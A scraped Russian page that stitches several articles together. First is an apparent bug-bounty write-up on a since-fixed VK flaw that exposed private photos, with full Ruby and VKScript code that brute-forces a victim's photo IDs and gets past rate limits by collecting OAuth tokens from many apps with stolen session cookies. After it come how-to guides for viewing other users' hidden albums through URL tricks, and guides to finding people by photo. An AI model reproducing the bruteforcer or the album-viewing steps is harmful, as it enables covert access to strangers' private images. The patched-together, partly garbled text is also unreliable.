Скрытые возможности VK.API или ищем приватные фото ВКонтакте. Как посмотреть скрытые фото в контакте через исходный код Все найденные частные фотографии пользователя по

tl;dr

Была обнаружена уязвимость в закладках ВК, которая позволяла получать прямые ссылки на приватные фотографии из личных сообщений, альбомов любого пользователя/группы. Был написан скрипт, который перебирал фотографии пользователя за определенный период и затем, через эту уязвимость получал прямые ссылки на изображения. Если коротко, то: можно было за 1 минуту получить все ваши вчерашние фотографии, за 7 минут - все фото, загруженные на прошлой неделе, за 20 минут - прошлый месяц, за 2 часа - прошлый год. Уязвимость на данный момент исправлена. Администрация ВКонтакте выплатила вознаграждение в 10к голосов.


История началась с того, как мне в личку во «Вконтакте» кинули изображение. Обычно, если вещь важная, я её загружаю в облако, но в моём случае в этом не было необходимости, и я решил воспользоваться функцией закладок «Вконтакте».

Коротко про эту функциональность: в закладки добавляются все вещи, которые юзер лайкнул; также есть функция ручного добавления ссылки на пользователя и внутренней ссылки «ВКонтакте». Последний пункт мне показался очень интересным, так как после добавления ссылки на фото я увидел его превьюшку и текст с типом добавленной сущности:

При добавлении ссылки сервер парсит её, пытается выяснить, на какую сущность она ссылается и достает информацию об этом объекте из базы. Как правило, при написании такого рода функций с множеством условий вероятность того, что разработчик что-то забудет, очень высока. Поэтому я не смог себе позволить пройти мимо и решил потратить несколько минут, чтобы немного поэкспериментировать.

В результате мне удалось кое-что найти. При добавлении ссылки на фотографию, заметку или видео, к которым нет доступа, можно было получить немного приватной информации об объекте. В случае с фото и видео - это маленькая (150x150) превьюшка, на которой довольно сложно что-либо разглядеть, у приватных заметок отображалось название. Через метод API fave.getLinks можно было получить ссылки на изображение, но опять же слишком маленького размера (75px и 130px). Так что, по сути, ничего серьезного.

Я решил зайти на мобильную версию сайта, чтобы проверить, отображается ли там всё так же, как и в обычной версии. Заглянув в код странички, я увидел это:

Да! В значении атрибута data-src_big хранилась прямая ссылка на оригинал изображения!

Таким образом, можно было получить прямую ссылку на любое изображение во «Вконтакте», вне зависимости от того, куда оно загружалось и какие настройки приватности имело. Это могло быть изображение из личных сообщений или же фотография из приватных альбомов любого пользователя/группы.

Казалось бы, на этом можно было остановиться и написать разработчикам, но мне стало интересно, возможно ли, эксплуатируя эту уязвимость, получить доступ ко всем (ну или загруженным в определенный период времени) фотографиям юзера. Основной проблемой тут, как вы понимаете, являлось то, что не всегда известна ссылка на приватную фотографию вида photoXXXXXX_XXXXXXX , которую нужно добавить в закладки. В голову пришла мысль о переборе id фотки, но я её почему-то тут же отверг как сумасшедшую. Я проверил связанные с фотографиями методы в API, посмотрел, как приложение работает с альбомами, но никаких утечек, которые могли бы мне помочь получить список с айдишками всех закрытых фоток юзера, найти не удалось. Я уже хотел было бросить эту затею, но взглянув еще раз на ссылку с фотографией, вдруг понял, что перебор таки был хорошей идеей.

Как работают фотографии в ВК

Как вы могли заменить, ссылка на фотографию photo52708106_359542386 состоит из двух частей: (id пользователя)_(какое-то непонятное число) . Как же формируется вторая часть?

Увы, но, потратив два часа на эксперименты, я так этого и не понял. В 2012 году на HighLoad++ Олег Илларионов сказал несколько слов про то, как они хранят фотографии, про горизонтальный шардинг и случайный выбор сервера для загрузки, но эта информация мне ничего не дала, так как между id сервера и id фотки никакой связи не видно. Понятно, что есть некий глобальный счетчик, но там есть ещё какая-то логика… Потому что если второе число формировалось бы с помощью обычного автоинкремента, то значения айдишок фоток давно бы уже достигли огромных значений (у фб, например, на данный момент это ~700 трлн.), но у «Вконтакте» это значение всего лишь ~400 млн (хотя, судя по статистике, ежедневно пользователи загружают более 30 млн фотографий). Т.е. ясно, что цифра эта не уникальна, но при этом и не рандомная. Я написал скриптик, который прошелся по фотографиям «старых» пользователей и по полученным данным составил график того, на сколько менялась эта цифра с каждым годом :

Видно, что значения скачут в зависимости от каких-то факторов (количества серверов или новой логики?). Но суть в том, что они достаточно малы (особенно за последние 2-3 года) и очень легко вычислить диапазон id для желаемого периода времени. То есть чтобы узнать прямые ссылки на фотки юзера, допустим, за прошлый год, нужно попробовать добавить в закладки всего лишь 30 млн (от _320000000 до _350000000) различных вариаций ссылок! Ниже я описал технику перебора, которая позволила мне проделать это за считанные минуты.

Перебираем фотографии

Можно было всё это добавлять руками через интерфейс или же написать скрипт, который добавляет по одной ссылке в закладки, но это было бы скучно и долго. Скорость перебора в таком случае составила бы 3 закладки в секунду, т.к. больше трех запросов в секунду на сервер «Вконтакте» отправлять нельзя .

Ускоряем перебор x25

Чтобы хоть немного обойти ограничение в 3 запроса, я решил воспользоваться методом execute . В одном вызове этого метода возможно 25 обращений к методам API.

Var start = parseInt(Args.start); var end = parseInt(Args.end); var victimId = Args.id; var link = "http://vk.com/photo" + victimId + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; };
Тем самым удалось повысить скорость брутфорса до 3*25 закладок/сек. За прошлый год фотографии перебирались бы долго, но вот для коротких промежутков этот метод перебора уже был довольно-таки неплох.

Ускоряем перебор x25 * количество параллельных запросов в секунду

Ограничение на количество запросов/сек действует на каждое приложение отдельно, а не на пользователя целиком. Так что ничего не мешает отправлять параллельно много запросов, но при этом используя в них токены от разных приложений.

Для начала нужно было найти (или создать) нужное количество приложений. Был написан скрипт, который ищет standalone приложения в заданном интервале идентификаторов приложений:

Class StandaloneAppsFinder attr_reader:app_ids def initialize(params) @range = params[:in_range] @app_ids = end def search (@range).each do |app_id| response = open("https://api.vk.com/method/apps.get?app_id=#{app_id}").read app = JSON.parse(response)["response"] app_ids << app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
Можно было еще отбирать приложения по количеству пользователей, дабы еще больше ускорить дальнейший перебор:

Но решил с этим не заморачиваться.

Ок, приложения найдены, теперь им нужно дать разрешение к данным нашего пользователя и получить токены. Для авторизации пришлось использовать механизм Implicit Flow. Пришлось парсить урл авторизации из диалога OAuth и после редиректа вытаскивать токен. Для работы данного класса нужны куки p,l (login.vk.com) и remixsid (vk.com):

Class Authenticator attr_reader:access_tokens def initialize(cookie_header) @cookies = { "Cookie" => cookie_header } @access_tokens = end def authorize_apps(apps) apps.each do |app_id| auth_url = extract_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url, @cookies).base_uri.to_s access_tokens << extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
Сколько приложений найдено, столько и параллельных запросов. Для распараллеливания всего этого дела было решено использовать гем Typhoeus , который отлично зарекомендовал себя в других задачах. Получился такой вот небольшой брутфорсер:

Class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = { "today" => 366300000..366500000, "yesterday" => 366050000..366300000, "current_month" => 365000000..366500000, "last_month" => 360000000..365000000, "current_year" => 350000000..366500000, "last_year" => 320000000..350000000 } def initialize(params) @victim_id = params[:victim_id] @period = PHOTOS_ID_BY_PERIOD] end def run(tokens) hydra = Typhoeus::Hydra.new tokensIterator = 0 (@period).step(25) do |photo_id| url = "https://api.vk.com/method/execute?access_token=#{tokens}&code=#{vkscript(photo_id)}" encoded_url = URI.escape(url).gsub("+", "%2B").delete("\n") tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1 hydra.queue Typhoeus::Request.new encoded_url hydra.run if tokensIterator.zero? end hydra.run unless hydra.queued_requests.count.zero? end private def vkscript(photo_id) <<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
Чтобы ещё больше ускорить брутфорс, была попытка избавиться от ненужного тела в ответе, но на HEAD запрос сервер «Вконтакте» возвращает ошибку 501 Not implemented .

Окончательная версия скрипта выглядит так:

Require "nokogiri" require "open-uri" require "typhoeus" require "json" require "./standalone_apps_finder" require "./photos_bruteforcer" require "./authenticator" bruteforcer = PhotosBruteforcer.new(victim_id: ARGV, period: ARGV) apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500) apps_finder.search # p,l - cookies from login.vk.com # remixsid - cookie from vk.com authenticator = Authenticator.new("p=;" + "l=;" + "remixsid=;") authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
После отработки программы в закладках были все фотографии пользователя за заданный период. Оставалось только зайти в мобильную версию «Вконтакте», открыть консоль браузера, вытащить прямые ссылки и наслаждаться фотографиями в их оригинальном размере.

Итоги

В целом, всё зависит от вашего интернет соединения и скорости прокси серверов, латенси серверов «Вконтакте», мощности процессора и множества других факторов. Опробовав скрипт выше на своем аккаунте, получил такие вот цифры (без учета времени, потраченного на получение токенов):

В таблице показано среднее время, необходимое для того, чтобы перепробовать id фотографий за определенный период. Я уверен, всё это можно было ускорить раз так в 10-20. Например, в скрипте брутфорса сделать одну большую очередь из всех запросов и нормальную синхронизацию между ними, т.к. в моей реализации один запрос с timeout будет тормозить весь процесс. Да и вообще, можно было просто купить парочку инстансов на EC2, и за часик получить все фотографии какого угодно пользователя. Но я уже хотел спать.

Да и вообще, не важно, сколько времени злоумышленник на это потратит, 5 часов или же целый день, ведь так или иначе ссылки на приватные изображения он добудет. Возможность железно получить доступ к приватной информации за конечное время – и есть главная угроза, которую несёт данная уязвимость.

Сообщаем об уязвимости

Сначала репорт был отправлен службе поддержки, но после ответа вида «спасибо, как-нибудь пофиксим наверное…» и недели ожидания, мне что-то стало грустно. Большое спасибо , который помог связаться с разработчиками напрямую. После этого баги закрыли в течение нескольких часов, а через несколько дней на мой счёт администрация перевела вознаграждение в размере 10к

В процессе изучения возможностей и простого использования страниц современной социальной сети ВКонтакте, у пользователей появляется большое количество вопросов. Одним из самых распространенных является решение проблемы, как посмотреть скрытые фото в ВКонтакте. Довольно часто пользователи скрывают свои профили полностью или частично, соответственно посмотреть их фото не представляется возможным.

Перед тем как рассмотреть вопрос, относительно возможности посмотреть скрытые фото, стоит кратко рассмотреть тему по их скрытию. Чтобы спрятать свои фото, потребуется выполнить следующие действия:

  • Требуется зайти на страницу ВК;
  • Слева найти строку «Мои настройки» и активировать ее;
  • Открыть подраздел «Приватность»;
  • Появятся специальные настройки приватности. Их можно устанавливать по своему усмотрению.

Скрыть можно не только фото, но аудиозаписи, посты и друзей. Выбрав строку, отражающую тех, кто может видеть фото, нужно определить тех, кому будет позволено видеть личные фото. Здесь можно выбрать полную скрытность, установив «только я» или предоставив просмотр только для друзей. Установленные функции сразу после проведенных настроек начинают действовать.

Как посмотреть сохраненные фото в ВК если они скрыты?

Итак, как увидеть скрытые фото пользователей ВК? Официальной схемы действия здесь нет, так как разработчики социальной сети уважают стремление пользователей сохранять свою приватность. При желании осуществить просмотр скрытых фото ВК, стоит выполнить следующие действия:

  1. Нужно зайти в профиль пользователя, чьи фото есть желание посмотреть.
  2. Совершается клик по свободному месту обычной кнопкой мыши.
  3. Выбирается раздел «Посмотреть исходный код страницы».
  4. Нажимается Ctrl+F.
  5. В поиске вводится «albums», только без кавычек.
  6. В строке после данного слова появляются цифры, их нужно скопировать. Это и есть код страницы.
  7. Нужно снова зайти к пользователю в профиль и в строке адреса после ID ввести «?z=albums», также без кавычек.
  8. Вставляется скопированный предварительно фрагмент.
  9. Нажимается Enter, и получить удовольствие от лицезрения скрытых фото.

Важно! Этот вариант смотреть закрытые фотографии, если доступ закрыт, не совсем законный, администрация ВК его не одобряет.

По этой причине не нужно удивляться, если возможность смотреть сохраненные фото, если они скрыты, будет закрыта.

Сайт для просмотра скрытых фотографий В ВКонтакте

Данный метод можно использовать в случае уже полученного фрагмента кода, получить который можно вышеописанным способом. Для просмотра скрытых фото, необходимо вернуться на нужную страницу, на сайте социальной сети в строке браузерного поиска ввести ссылку, выстроенную по типу – vk.com/id….., где после ID идет идентификационный номер страницы. Далее ставится курсор на самый конец адреса и сразу вводятся специальные знаки «?z=».

В результате подобных действий в строке рабочего браузера выйдет надпись – vk.com/id……?z=albums….., где многоточие является ID пользователя. После нажатия на Enter, вниманию автоматически откроются все фото интересующего человека.

Заключение

Представленными вниманию довольно простыми способами можно без особых проблем изучить фото пользователей, находящихся в закрытых альбомах. Основным преимуществом подобных методик является возможность увидеть фото в альбомах тех людей, что уже не являются друзьями по ВК и совершенно незнакомых пользователей.

Сегодня мы расскажем вам, уважаемые читатели, об одной крайне необычной фишке, которая присутствует в ВК — поиске похожих фотографий, когда вы можете найти пользователей, у которых в профиле загружено такое же изображение.

Зачем это нужно, спросите вы? Существует две основных причины.

  • Первая. С помощью поиска одинаковых изображений вы всегда сможете найти (или не найти) человека, который использует ваши фотографии. Иными словами, вы сможете обнаружить своих же клонов.
  • Вторая причина. Допустим, вам нужно найти человека, а у вас есть только его фотография. С ее помощью вы можете воспользоваться поиском по картинкам в ВК и, вполне возможно, найдете человека, которого ищите.

Стоит отметить, что сервисов поиска по фотографиям немало, например, он есть у того же Google, но в данном случае поиск осуществляется не по всему интернету, а только по ВКонтакте.

Ищем пользователя по картинке

Давайте приступать к поиску. Допустим, что нам необходимо найти клонов или пользователей, у которых загружена определенная фотография.

Первым делом необходимо открыть картинку, которую мы ищем. Если она не загружена в ваш фотоальбом, загрузите ее.

Открываем картинку, например:

Смотрим в адресную строку браузера. Вы должны увидеть адрес примерного такого вида: https://vk.com/photo********_384****** . Под звездочками photo******** скрывается ваш , а цифры 384****** , которые находятся после нижнего подчеркивания, это номер фотографии. Скопируйте это адрес, но без https://vk.com/, то есть у вас должно получиться photo********_384****** .

Закрываем вкладку или оставляем ее открытой и открываем новую, заходим на страницу ВК и выбираем раздел «Мои новости» в меню. Вы увидите новостную ленту:

Если рядом с подразделом «Лента» находится пункт «Фотографии», пропускаете этот шаг. Если пункт отсутствует, нажмите на крестик и добавьте пункт «Фотографии».

Нажимаем на пункт «Фотографии». Появится строка поиска «Поиск по фотографиям».

Пишем в строку слово copy: и добавляем ссылку на фотографию, которую мы скопировали ранее, то есть у вас должно получиться примерно следующее: copy:photo********_384****** . Обратите внимание, что звездочки — это всего лишь пример, под ними находятся id и порядковый номер фотографии! Например, если мы возьмем для поиска определенную фотографию Павла Дурова, то в строке нужно написать, например, copy:photo1_327778612 , где photo1 — id пользователя (Дурова в данном случае), а 327778612 — порядковый номер фотографии. Затем нажимаем на клавишу Enter.

В нашем случае удалось обнаружить 7 одинаковых фотографий.

Если нажать на каждую из них, то можно будет увидеть, какой пользователь или в какой паблик было загружено изображение. Вероятно, поиск осуществляется только по тем фотографиям, которые находятся в открытом доступе. Закрытые от просмотра картинки нам обнаружить не удалось.

Здравствуйте, друзья! Сегодня мы с вами будем заниматься поиском людей по фотографиям в социальной сети Вконтакте. Вот представьте себе, что у нас есть лишь только фотография, а нам по этой фотке необходимо найти его страничку. Возможно это будет только в том случае, если он эту фотку загрузил в социальную сеть и не скрыл ее (). Такое можно сделать, я проверял на практике, есть парочку проверенных способов и сейчас мы с вами их рассмотрим.

Поиск по фотографиям Вконтакте

Чтобы воспользоваться данной функцией социальной сети и найти человека нам вначале необходимо загрузить фотографию, по которой мы будем искать к себе в аккаунт (). Теперь мы идем в альбом, в который добавили данное фото и нажимаем на саму фотографию, чтобы она у нас полностью подгрузилась.

После того, как фотка подгрузится, смотрим на адресную строку браузера и копируем адрес фотографии. Адрес фото нужно копировать не весь, а лишь только те цифры, что идут после слова photo (вместе с ним) и до знака %. Смотрите на скриншот и все станет ясно:

Теперь заходим на свою страничку главную и нажимаем на пункт меню «Новости»

Почти в самом верху открывшейся страницы над новостями у нас есть окошко поиска по фотографиям. Вставляем в него слово copy: после него сразу адрес той фотографии, которую вы загрузили и по которой необходимо найти человека.

См. скриншот:

Нажимаем на Enter. И у нас подгружаются все точно такие же фотографии, загруженные в социальную сеть разными пользователями. Естественно, если фотография уникальная, то в вашем случае такой пользователь будет один. Вам достаточно будет лишь нажать на фото и перейти по ссылке на владельца данной фотографии:

Вот и все, мы с вами справились с задачей.

Поиск по картинкам от Яндекса

Сейчас я вам, для общего развития, покажу еще один способ найти человека Вконтакте по фотографии. Но обратите внимание, что он сработает, только если пользователь загрузил ее на аватарку. Речь пойдет о поиске по картинкам от поисковой системы Яндекс.

В следующем окошке жмем по кнопке «Выберите файл», чтобы загрузить фотографию в систему для поиска.

Через Проводник найдите на компьютере нужное изображение, выделите его и жмите «Открыть».

Система покажет вашу картинку и ниже все похожие, что смогла найти. С большой долей вероятности первым будет идти снимок точь-в-точь похожий на ваш.

Пролистайте ниже и увидите список сайтов, где встречается картинка. Выберите любой из предложенных. В примере я остановился на poisksocial.ru. Нажмите правой кнопкой мыши по заголовку и выберите из списка «Открыть ссылку в новой вкладке».

На открывшемся сайте можно выполнить поиск человека в любой из социальных сетей, которые есть в списке слева. У нас уже выбрана Вконтакте и указаны ФИО, для которых отображаются результаты (кстати, я их не вводил, они уже были прописаны, когда я открыл сайт. Хоть ищу человека с другими ФИО, для чистоты эксперимента ничего менять не стал).

В окне посредине отображаются все доступные, подходящие странички пользователей. Пролистываем их и да, там есть нужный мне человек, а на его аватарке установлено фото, которое я использовал для поиска.

Кликните по имени и на следующей странице выберите любой снимок из фото галереи. Откроется страница Вконтакте найденного пользователя и можно считать, что вы его нашли.

Поиск по картинкам в Google

Точно такой же сервис, как и у Яндекса, есть у поисковой системы Google. Давайте точно также попробуем найти по фотографии, которая стоит у меня на аватарке, мою страничку Вконтакте.

Заходим на главную страницу Гугла и в правом верхнем углу нажимаем на ссылку «Картинки»:

У нас открывается сервис поиска по картинкам, подводим курсор в правый угол поисковой строки и нажимаем на значок фотоаппарата. Эта кнопочка называется «Поиск по картинке».

В открывшемся окне переходим во вкладку «Загрузить файл» и нажимаем на кнопку «Выберите файл»:

Загружаем фотографию, по которой хотим искать аккаунт Вконтакте и наблюдаем результаты.

У меня отобразились запросы, связанные с официальным стилем в одежде (поскольку на фото люди в черно-белом). И в «Похожих изображениях» ничего не было.

Если у вас так же, давайте немного уточним поиск. Для этого в соответствующую строку нужно ввести имя и фамилию человека, которого ищите (желательно, чтобы они совпадали с тем, как пользователь подписан в вк), и нажать на лупу.

Как видим, моя страничка Вконтакте снова нашлась, а это значит, что мы снова достигли цели. А на этом я заканчиваю данную статью, в которой мы научились искать страницы в вк по фотографиям.

Многие пользователи ограничивают доступ к просмотру своих фотографий, с помощью . Или возможен такой вариант, когда альбомы не опубликованы на странице — вы просто не знаете, как зайти в них (см. ).

Но ведь очень хочется увидеть, что же пользователь скрыл. Давайте разбираться, как посмотреть скрытые фото вконтакте .

Используем id страницы, для просмотра скрытых фотографий

Заходите на страницу к нужному пользователю, и копируйте из адресной строки его id (см. ).

В том случае, если нет цифрового значения id, а вместо него указан выбранный пользователем ник, то нужно сделать следующее.

Вам нужно перейти к просмотру любой части профиля пользователя. Проще всего открыть аватарку.

Теперь вернитесь в адресную строку. Найдите следующую часть кода «z=photo233054» .

Цифры после слова «photo» , и есть id. В данном случае, это вот такое значение — 233054 . Теперь переходим к следующему шагу.

Как посмотреть закрытые фото и альбомы вконтакте

Если вы посмотрите на страницу пользователя, id которого мы только что получили, то увидите, что для просмотра доступна только одна фотография. И нет блока «Фотоальбомы» . Значит все фотки и альбомы скрыты (см. ).

Так давайте уже посмотрим их. Для этого снова перейдите в адресную строку, и наберите вот такой текст:

Https://vk.com/albums***

Как вы видите, здесь более 500-а фотографий.

Есть альтернативный код. Вот он:

Https://vk.com/id***?z=albums***

Вводите его в адресную строку, и вместо звездочек снова пишем id. Далее «Enter» . Результат будет тот же.